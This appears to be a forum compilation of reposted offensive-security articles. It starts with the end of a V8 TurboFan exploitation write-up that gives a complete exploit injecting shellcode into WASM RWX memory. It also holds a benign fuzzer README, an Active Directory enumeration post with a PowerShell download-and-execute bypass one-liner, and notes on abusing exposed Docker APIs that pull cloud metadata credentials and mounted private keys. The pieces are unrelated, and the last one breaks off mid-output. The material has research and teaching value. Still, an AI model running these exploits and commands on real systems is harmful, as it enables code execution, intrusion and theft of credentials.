MAP_TYPE 0x0000220f2ec824f0 0x0000000300000000 0x0000220f2ec824f8 0x0000001300000000 // MARK 1 for memory scanning 0x0000220f2ec82500 0x00002f3befd86b81 JS_OBJECT_TYPE 0x0000220f2ec82508 0x0000003700000000 // MARK 2 for memory scanning Good, the FixedArray with the pointer to the Math object is located right after the ArrayBuffer. Observe that we put markers so as to scan memory instead of hardcoding offsets (which would be bad if we were to have a different memory layout for whatever reason). After locating the (oob) index to the object pointer, simply overwrite it and use it. let view = new BigUint64Array(evil_ab); view[0] = 0x414141414141n; // initialize the fake object with this value as a map pointer // ... arr2[index_to_object_pointer] = tagFloat(fbackingstore_ptr); packed_elements_array[1].x; // crash on 0x414141414141 because it is used as a map pointer Et voilà! Step 3 : Arbitrary read/write primitive Going from step 2 to step 3 is fairly easy. We just need our ArrayBuffer to contain data that look like an actual object. More specifically, we would like to craft an ArrayBuffer with a controlled backing_store pointer. You can also directly corrupt the existing ArrayBuffer to make it point to arbitrary memory. Your call! Don't forget to choose a length that is big enough for the data you plan to write (most likely, your shellcode). let view = new BigUint64Array(evil_ab); for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) { view[i] = f2i(arr2[ab_len_idx-3+i]); if (view[i] > 0x10000 && !(view[i] & 1n)) view[i] = 0x42424242n; // backing_store } // [...] arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // object pointer // [...] let rw_view = new Uint32Array(packed_elements_array[1]); rw_view[0] = 0x1337; // *0x42424242 = 0x1337 You should get a crash like this. $ d8 rw.js [+] corrupted JSArray's length [+] Found backingstore pointer : 0000555c593d9890 Received signal 11 SEGV_MAPERR 000042424242 ==== C stack trace =============================== [0x555c577b81a4] [0x7ffa0331a390] [0x555c5711b4ae] [0x555c5728c967] [0x555c572dc50f] [0x555c572dbea5] [0x555c572dbc55] [0x555c57431254] [0x555c572102fc] [0x555c57215f66] [0x555c576fadeb] [end of stack trace] Step 4 : Overwriting WASM RWX memory Now that's we've got an arbitrary read/write primitive, we simply want to overwrite RWX memory, put a shellcode in it and call it. We'd rather not do any kind of ROP or JIT code reuse(0vercl0k did this for SpiderMonkey). V8 used to have the JIT'ed code of its JSFunction located in RWX memory. But this is not the case anymore. However, as Andrea Biondo showed on his blog, WASM is still using RWX memory. All you have to do is to instantiate a WASM module and from one of its function, simply find the WASM instance object that contains a pointer to the RWX memory in its field JumpTableStart. Plan of action: 1. Read the JSFunction's shared function info 2. Get the WASM exported function from the shared function info 3. Get the WASM instance from the exported function 4. Read the JumpTableStart field from the WASM instance As I mentioned above, I use a modified v8 engine for which I implemented a %DumpObjects feature that prints an annotated memory dump. It allows to very easily understand how to get from a WASM JS function to the JumpTableStart pointer. I put some code here (Use it at your own risks as it might crash sometimes). Also, depending on your current checkout, the code may not be compatible and you will probably need to tweak it. %DumpObjects will pinpoint the pointer like this: ----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] ----- [...] 0x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX] So let's just find the RWX memory from a WASM function. sample_wasm.js can be found here. d8> load("sample_wasm.js") d8> %DumpObjects(global_test,10) ----- [ JS_FUNCTION_TYPE : 0x38 ] ----- 0x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE 0x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE 0x00002fac7911ed30 0x00002fac79101741 NATIVE_CONTEXT_TYPE 0x00002fac7911ed38 0x00000d1caca00691 FEEDBACK_CELL_TYPE 0x00002fac7911ed40 0x00002dc28a002001 CODE_TYPE ----- [ TRANSITION_ARRAY_TYPE : 0x30 ] ----- 0x00002fac7911ed48 0x00000cdfc0080b69 MAP_TYPE 0x00002fac7911ed50 0x0000000400000000 0x00002fac7911ed58 0x0000000000000000 function 1() { [native code] } d8> %DumpObjects(0x00002fac7911ecd9,11) ----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] ----- 0x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE 0x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE 0x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE 0x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE 0x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ed00 0x000000000000004f 0x00002fac7911ed08 0x000000000000ff00 ----- [ JS_FUNCTION_TYPE : 0x38 ] ----- 0x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE 0x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE 52417812098265 d8> %DumpObjects(0x00002fac7911ecb1,11) ----- [ WASM_EXPORTED_FUNCTION_DATA_TYPE : 0x28 ] ----- 0x00002fac7911ecb0 0x00000cdfc00857a9 MAP_TYPE 0x00002fac7911ecb8 0x00002dc28a002001 CODE_TYPE 0x00002fac7911ecc0 0x00002fac7911eb29 WASM_INSTANCE_TYPE 0x00002fac7911ecc8 0x0000000000000000 0x00002fac7911ecd0 0x0000000100000000 ----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] ----- 0x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE 0x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE 0x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE 0x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE 0x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ed00 0x000000000000004f 52417812098225 d8> %DumpObjects(0x00002fac7911eb29,41) ----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] ----- 0x00002fac7911eb28 0x00001024ebc89411 MAP_TYPE 0x00002fac7911eb30 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911eb38 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911eb40 0x00002073d820bac1 WASM_MODULE_TYPE 0x00002fac7911eb48 0x00002073d820bcf1 JS_OBJECT_TYPE 0x00002fac7911eb50 0x00002fac79101741 NATIVE_CONTEXT_TYPE 0x00002fac7911eb58 0x00002fac7911ec59 WASM_MEMORY_TYPE 0x00002fac7911eb60 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb68 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb70 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb78 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb80 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb88 0x00002073d820bc79 FIXED_ARRAY_TYPE 0x00002fac7911eb90 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb98 0x00002073d820bc69 FOREIGN_TYPE 0x00002fac7911eba0 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eba8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ebb0 0x00000cdfc00801d1 ODDBALL_TYPE 0x00002fac7911ebb8 0x00002dc289f94d21 CODE_TYPE 0x00002fac7911ebc0 0x0000000000000000 0x00002fac7911ebc8 0x00007f9f9cf60000 0x00002fac7911ebd0 0x0000000000010000 0x00002fac7911ebd8 0x000000000000ffff 0x00002fac7911ebe0 0x0000556b3a3e0c00 0x00002fac7911ebe8 0x0000556b3a3ea630 0x00002fac7911ebf0 0x0000556b3a3ea620 0x00002fac7911ebf8 0x0000556b3a47c210 0x00002fac7911ec00 0x0000000000000000 0x00002fac7911ec08 0x0000556b3a47c230 0x00002fac7911ec10 0x0000000000000000 0x00002fac7911ec18 0x0000000000000000 0x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX] 0x00002fac7911ec28 0x0000556b3a47c250 0x00002fac7911ec30 0x0000556b3a47afa0 0x00002fac7911ec38 0x0000556b3a47afc0 ----- [ TUPLE2_TYPE : 0x18 ] ----- 0x00002fac7911ec40 0x00000cdfc00827c9 MAP_TYPE 0x00002fac7911ec48 0x00002fac7911eb29 WASM_INSTANCE_TYPE 0x00002fac7911ec50 0x00002073d820b849 JS_FUNCTION_TYPE ----- [ WASM_MEMORY_TYPE : 0x30 ] ----- 0x00002fac7911ec58 0x00001024ebc89e11 MAP_TYPE 0x00002fac7911ec60 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ec68 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 52417812097833 That gives us the following offsets: let WasmOffsets = { shared_function_info : 3, wasm_exported_function_data : 1, wasm_instance : 2, jump_table_start : 31 }; Now simply find the JumpTableStart pointer and modify your crafted ArrayBuffer to overwrite this memory and copy your shellcode in it. Of course, you may want to backup the memory before so as to restore it after! Full exploit The full exploit looks like this: // spawn gnome calculator let shellcode = [0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x59, 0x49, 0x81, 0xe9, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xbf, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb1, 0x61, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x20, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0xb8, 0x51, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x49, 0x8d, 0xb9, 0x62, 0x00, 0x00, 0x00, 0xb8, 0xa1, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb9, 0x64, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x49, 0x8d, 0x91, 0x7e, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x52, 0x48, 0x89, 0xe2, 0x0f, 0x05, 0xeb, 0xfe, 0x2e, 0x2e, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00]; let WasmOffsets = { shared_function_info : 3, wasm_exported_function_data : 1, wasm_instance : 2, jump_table_start : 31 }; let log = this.print; let ab = new ArrayBuffer(8); let fv = new Float64Array(ab); let dv = new BigUint64Array(ab); let f2i = (f) => { fv[0] = f; return dv[0]; } let i2f = (i) => { dv[0] = BigInt(i); return fv[0]; } let tagFloat = (f) => { fv[0] = f; dv[0] += 1n; return fv[0]; } let hexprintablei = (i) => { return (i).toString(16).padStart(16,"0"); } let assert = (l,r,m) => { if (l != r) { log(hexprintablei(l) + " != " + hexprintablei(r)); log(m); throw "failed assert"; } return true; } let NEW_LENGTHSMI = 0x64; let NEW_LENGTH64 = 0x0000006400000000; let AB_LENGTH = 0x100; let MARK1SMI = 0x13; let MARK2SMI = 0x37; let MARK1 = 0x0000001300000000; let MARK2 = 0x0000003700000000; let ARRAYBUFFER_SIZE = 0x40; let PTR_SIZE = 8; let opt_me = (x) => { let MAGIC = 1.1; // don't move out of scope let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays evil_ab = new ArrayBuffer(AB_LENGTH); packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI, get_pwnd); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1 + 1; z = z - (4503599627370495*2); // may trigger the OOB R/W let leak = arr[z]; arr[z] = i2f(NEW_LENGTH64); // try to corrupt arr2.length // when leak == MAGIC, we are ready to exploit if (leak != MAGIC) { // [1] we should have corrupted arr2.length, we want to check it assert(f2i(leak), 0x0000000100000000, "bad layout for jsarray length corruption"); assert(arr2.length, NEW_LENGTHSMI); log("[+] corrupted JSArray's length"); // [2] now read evil_ab ArrayBuffer structure to prepare our fake array buffer let ab_len_idx = arr2.indexOf(i2f(AB_LENGTH)); // check if the memory layout is consistent assert(ab_len_idx != -1, true, "could not find array buffer"); assert(Number(f2i(arr2[ab_len_idx + 1])) & 1, false); assert(Number(f2i(arr2[ab_len_idx + 1])) > 0x10000, true); assert(f2i(arr2[ab_len_idx + 2]), 2); let ibackingstore_ptr = f2i(arr2[ab_len_idx + 1]); let fbackingstore_ptr = arr2[ab_len_idx + 1]; // copy the array buffer so as to prepare a good looking fake array buffer let view = new BigUint64Array(evil_ab); for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) { view[i] = f2i(arr2[ab_len_idx-3+i]); } log("[+] Found backingstore pointer : " + hexprintablei(ibackingstore_ptr)); // [3] corrupt packed_elements_array to replace the pointer to the Math object // by a pointer to our fake object located in our evil_ab array buffer let magic_mark_idx = arr2.indexOf(i2f(MARK1)); assert(magic_mark_idx != -1, true, "could not find object pointer mark"); assert(f2i(arr2[magic_mark_idx+2]) == MARK2, true); arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // [4] leak wasm function pointer let ftagged_wasm_func_ptr = arr2[magic_mark_idx+3]; // we want to read get_pwnd log("[+] wasm function pointer at 0x" + hexprintablei(f2i(ftagged_wasm_func_ptr))); view[4] = f2i(ftagged_wasm_func_ptr)-1n; // [5] use RW primitive to find WASM RWX memory let rw_view = new BigUint64Array(packed_elements_array[1]); let shared_function_info = rw_view[WasmOffsets.shared_function_info]; view[4] = shared_function_info - 1n; // detag pointer rw_view = new BigUint64Array(packed_elements_array[1]); let wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data]; view[4] = wasm_exported_function_data - 1n; // detag rw_view = new BigUint64Array(packed_elements_array[1]); let wasm_instance = rw_view[WasmOffsets.wasm_instance]; view[4] = wasm_instance - 1n; // detag rw_view = new BigUint64Array(packed_elements_array[1]); let jump_table_start = rw_view[WasmOffsets.jump_table_start]; // detag assert(jump_table_start > 0x10000n, true); assert(jump_table_start & 0xfffn, 0n); // should look like an aligned pointer log("[+] found RWX memory at 0x" + jump_table_start.toString(16)); view[4] = jump_table_start; rw_view = new Uint8Array(packed_elements_array[1]); // [6] write shellcode in RWX memory for (let i = 0; i < shellcode.length; ++i) { rw_view[i] = shellcode[i]; } // [7] PWND! let res = get_pwnd(); print(res); } return leak; } (() => { assert(this.alert, undefined); // only v8 is supported assert(this.version().includes("7.3.0"), true); // only tested on version 7.3.0 // exploit is the same for both windows and linux, only shellcodes have to be changed // architecture is expected to be 64 bits })() // needed for RWX memory load("wasm.js"); opt_me(""); for (var i = 0; i < 0x10000; ++i) // trigger optimization opt_me(""); let res = opt_me("foo"); Conclusion I hope you enjoyed this article and thank you very much for reading If you have any feedback or questions, just contact me on my twitter @__x86. Special thanks to my friends 0vercl0k and yrp604 for their review! Kudos to the awesome v8 team. You guys are doing amazing work! Recommended reading V8's TurboFan documentation Benedikt Meurer's talks Mathias Bynen's website This article on ponyfoo Vyacheslav Egorov's website Samuel Groß's 2018 BlackHat talk on attacking client side JIT compilers Andrea Biondo's write up on the Math.expm1 TurboFan bug Jay Bosamiya's write up on the Math.expm1 TurboFan bug Sursa: https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/

Baresifter Baresifter is a 64-bit x86 instruction set fuzzer modeled after Sandsifter. In contrast to Sandsifter, Baresifter is intended to run bare-metal without any operating system. When loaded, the main fuzzing logic runs in ring0 as a tiny kernel. To safely execute arbitrary instructions, baresifter creates a single executable page in ring3 user space. For every instruction candidate, baresifter writes the instruction bytes to this user space page and attempts to execute it by exiting to user space. It follows the same algorithm as outlined in the original Sandsifter paper to find interesting instructions and guess instruction length. Building and running The build is currently tested on Fedora 29. The build requirements are clang++ 5.0 or later, scons, and qemu with KVM support (for easy testing). To start the build execute scons. Baresifter can be run in KVM with ./run.sh and will output its results to the console. To run baresifter bare-metal, use either grub or syslinux and boot baresifter.elf32 as multiboot kernel. It will dump instruction traces on the serial port. The serial port is hardcoded, so you might need to change that: git grep serial_output. Interpreting results Baresifter outputs data in a tabular format that looks like: E <exc> O <capstone-instruction-id> <status> | <instruction hex bytes> exc is the CPU exception that was triggered, when baresifter tried to execute the instruction. Exception 1 (#DB) indicates that an instruction was successfully executed. The capstone-instruction-id is an integer that represents the instruction that Capstone decoded. A zero in this field means that Capstone could not decode the instruction. status is currently one of BUG (indicating a capstone bug), UNKN (indicating an undocumented instruction), or OK (nothing interesting was found). A concrete example looks like this: E 0E O 0008 OK | 00 14 6D 00 00 00 00 E 01 O 0000 UNKN | 0F 0D 3E E 01 O 010A BUG | 66 E9 00 00 00 00 The first line is an instruction that decoded successfully and generated a page fault when executing (exception 0xE). Capstone knows this instruction. The second line is an undocumented instruction, i.e. the CPU executed it successfully (or at least didn't throw an undefined opcode exception), but Capstone has no idea what it is. The second line is a Capstone bug. Here both the CPU and Capstone both decoded an instruction, the CPU was able to execute it, but Capstone and the CPU disagree on the length of that instruction. Sursa: https://github.com/blitz/baresifter

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Active Directory Penetration Dojo – AD Environment Enumeration -1 Hi everyone, we’ve discussed basics of Active Directory and different servers in AD in previous blog posts of this series. If you’ve not yet read that, please find that here in Part 1 and Part 2. We’ve also understood trust relationships in AD environment. You can read post on trust relationships here. Let’s have a look at the current post in which we’ll discuss how to enumerate an active directory domain and map various entities, trusts, relationships and privileges in it. Few things to understand: LDAP is used by Active directory as its access protocol. So when you enumerate information from AD, your query is sent to it as an LDAP query. AD relies on DNS as its locator service that enables the clients to locate domain controllers and other hosts in the domain through DNS queries. AD Database is NTDS.DIT AD supports several Naming conventions like: User Principal name: winsaafman@scriptdotsh.local DN (Distinguished Names) LDAP names: CN = Common name OU = Organisational Unit DC = Domain For example- CN=winsaafman,DC=corp,DC=scriptdotsh,DC=local Any standard domain user can enumerate active directory information. There is no need for administrative rights (not even local administrator). We’ll be using powershell a lot in the enumeration stage. In powershell, you get warning on running the scripts because of the execution policy setting policy. Execution Policy is just a way to stop users from accidentally executing scripts. Not really a security control, because it has builtin bypass parameters. (powershell -ExecutionPolicy bypass) as you can see in screenshot below: If you don’t want to save powershell module on disk and just load directly into memory and run some of its command, you can try it like this: powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’);Get-NetDomain” 1 powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’);Get-NetDomain” Beside the -exec Bypass, there are several other ways to evade powershell blocking which is already there on the internet. So I won’t be talking much about that. We can use the ADSI, .NET classes, DSquery, Powershell frameworks, CMD, WMI, AD Module etc. for enumerating active directory. In current blogpost, we’ll enumerate the domain using the Active Directory powershell module and powerview. In the discovery phase, we have to analyse many things about the client environment and locate their PII, network architecture, devices, critical business applications etc. Then finding threats to those critical assets. And looking for misconfigurations, vulnerabilities and weaknesses. Articol complet: https://scriptdotsh.com/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/

Abusing Docker API | Socket CG / 8:32 AM Notes on abusing open Docker sockets This wont cover breaking out of docker containers Ports: usually 2375 & 2376 but can be anything Refs: https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0 https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html https://infoslack.com/devops/exploring-docker-remote-api https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/ https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/ https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124 https://www.exploit-db.com/exploits/42356 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/ https://blog.ropnop.com/plundering-docker-images/ Enable docker socket (Create practice locations) https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd Having the docker API | socket exposed is essentially granting root to any of the containers on the system The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket. The docker socket is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker. All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below: Create a nginx container The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID. $ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create {"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null} Start the container $ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start As mentioned above you can also have the docker socket listen on a TCP port You can validate it's docker by hitting it with a version request $ curl -s http://open.docker.socket:2375/version | jq { "Version": "1.13.1", "ApiVersion": "1.26", "MinAPIVersion": "1.12", "GitCommit": "07f3374/1.13.1", "GoVersion": "go1.9.4", "Os": "linux", "Arch": "amd64", "KernelVersion": "3.10.0-514.26.2.el7.x86_64", "BuildTime": "2018-12-07T16:13:51.683697055+00:00", "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64" } or with the docker client docker -H open.docker.socket:2375 version Server: Engine: Version: 1.13.1 API version: 1.26 (minimum version 1.12) Go version: go1.9.4 Git commit: 07f3374/1.13.1 Built: Fri Dec 7 16:13:51 2018 OS/Arch: linux/amd64 Experimental: false This is basically a shell into the container Get a list of running containers with the ps command docker -H open.docker.socket:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 72cd30d28e5c gogs/gogs "/app/gogs/docker/st…" 5 days ago Up 5 days 0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp gogs b522a9034b30 jdk1.8 "/bin/bash" 5 days ago Up 5 days myjdk8 0f5947860c17 centos/mysql-57-centos7 "container-entrypoin…" 8 days ago Up 8 days 0.0.0.0:3306->3306/tcp mysql 3965c004c7a7 192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT "java -jar /app.jar" 8 days ago Up 8 days 0.0.0.0:12000->12000/tcp config 3f466b754971 42cb59080921 "/bin/bash" 8 days ago Up 8 days jdk8 6499013fdc2d registry "/entrypoint.sh /etc…" 8 days ago Up 8 days 0.0.0.0:5000->5000/tcp registry Exec into one of the containers docker -H open.docker.socket:2375 exec -it mysql /bin/bash bash-4.2$ whoami mysql Other commands Are there some stopped containers? docker -H open.docker.socket:2375 ps -a What are the images pulled on the host machine? docker -H open.docker.socket:2375 images I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API. The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output. Using curl to hit the API Sometimes you'll see 2376 up for the TLS endpoint. I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API. Docker socket to metadata URL https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec Below is an example of hitting the internal AWS metadata URL and getting the output list containers: curl --insecure https://tls-opendocker.socker:2376/containers/json | jq [ { "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668", "Names": [ "/docker_snip_1" ], "Image": "dotnetify", "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca", "Command": "cmd /S /C 'dotnet netify-temp.dll'", "Created": 1541018555, "Ports": [ { "IP": "0.0.0.0", "PrivatePort": 443, "PublicPort": 50278, ---SNIP--- List processes in a container: curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq { "Processes": [ [ "smss.exe", "7868", "00:00:00.062", "225.3kB" ], [ "csrss.exe", "10980", "00:00:00.859", "421.9kB" ], [ "wininit.exe", "10536", "00:00:00.078", "606.2kB" ], [ "services.exe", "10768", "00:00:00.687", "1.208MB" ], [ "lsass.exe", "10416", "00:00:36.000", "4.325MB" ], ---SNIP--- Set up and exec job to hit the metadata URL: curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' {"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"} Get the output: curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' { "Code" : "Success", "LastUpdated" : "2019-01-29T20:12:58Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIATRSNIP", "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP", "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP", "Expiration" : "2019-01-30T02:43:34Z" } Docker secrets relevant reading https://docs.docker.com/engine/swarm/secrets/ list secrets (no secrets/swarm not set up) curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq { "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."} list secrets (they exist) $ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq [ { "ID": "9h3useaicj3tr465ejg2koud5", "Version": { "Index": 21 }, "CreatedAt": "2018-07-06T10:19:50.677702428Z", "UpdatedAt": "2018-07-06T10:19:50.677702428Z", "Spec": { "Name": "registry-key.key", "Labels": {} }}, Check what is mounted curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}' {"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"} Get the output by starting the exec curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}' overlay on / type overlay proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666) sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime) ---SNIP--- mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime) /dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered) /dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered) /dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered) shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k) /dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered) tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime) tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime) tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime) ---SNIP--- Cat the mounted secret curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}' {"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}' -----BEGIN RSA PRIVATE KEY----- MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0 ---SNIP--- If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables curl -s --insecure https://tls-opendocker.socket:2376/services | jq [{ "ID": "amxjs243dzmlc8vgukxdsx57y", "Version": { "Index": 6417 }, "CreatedAt": "2018-04-16T19:51:20.489851317Z", "UpdatedAt": "2018-12-07T13:44:36.6869673Z", "Spec": { "Name": "app_REMOVED", 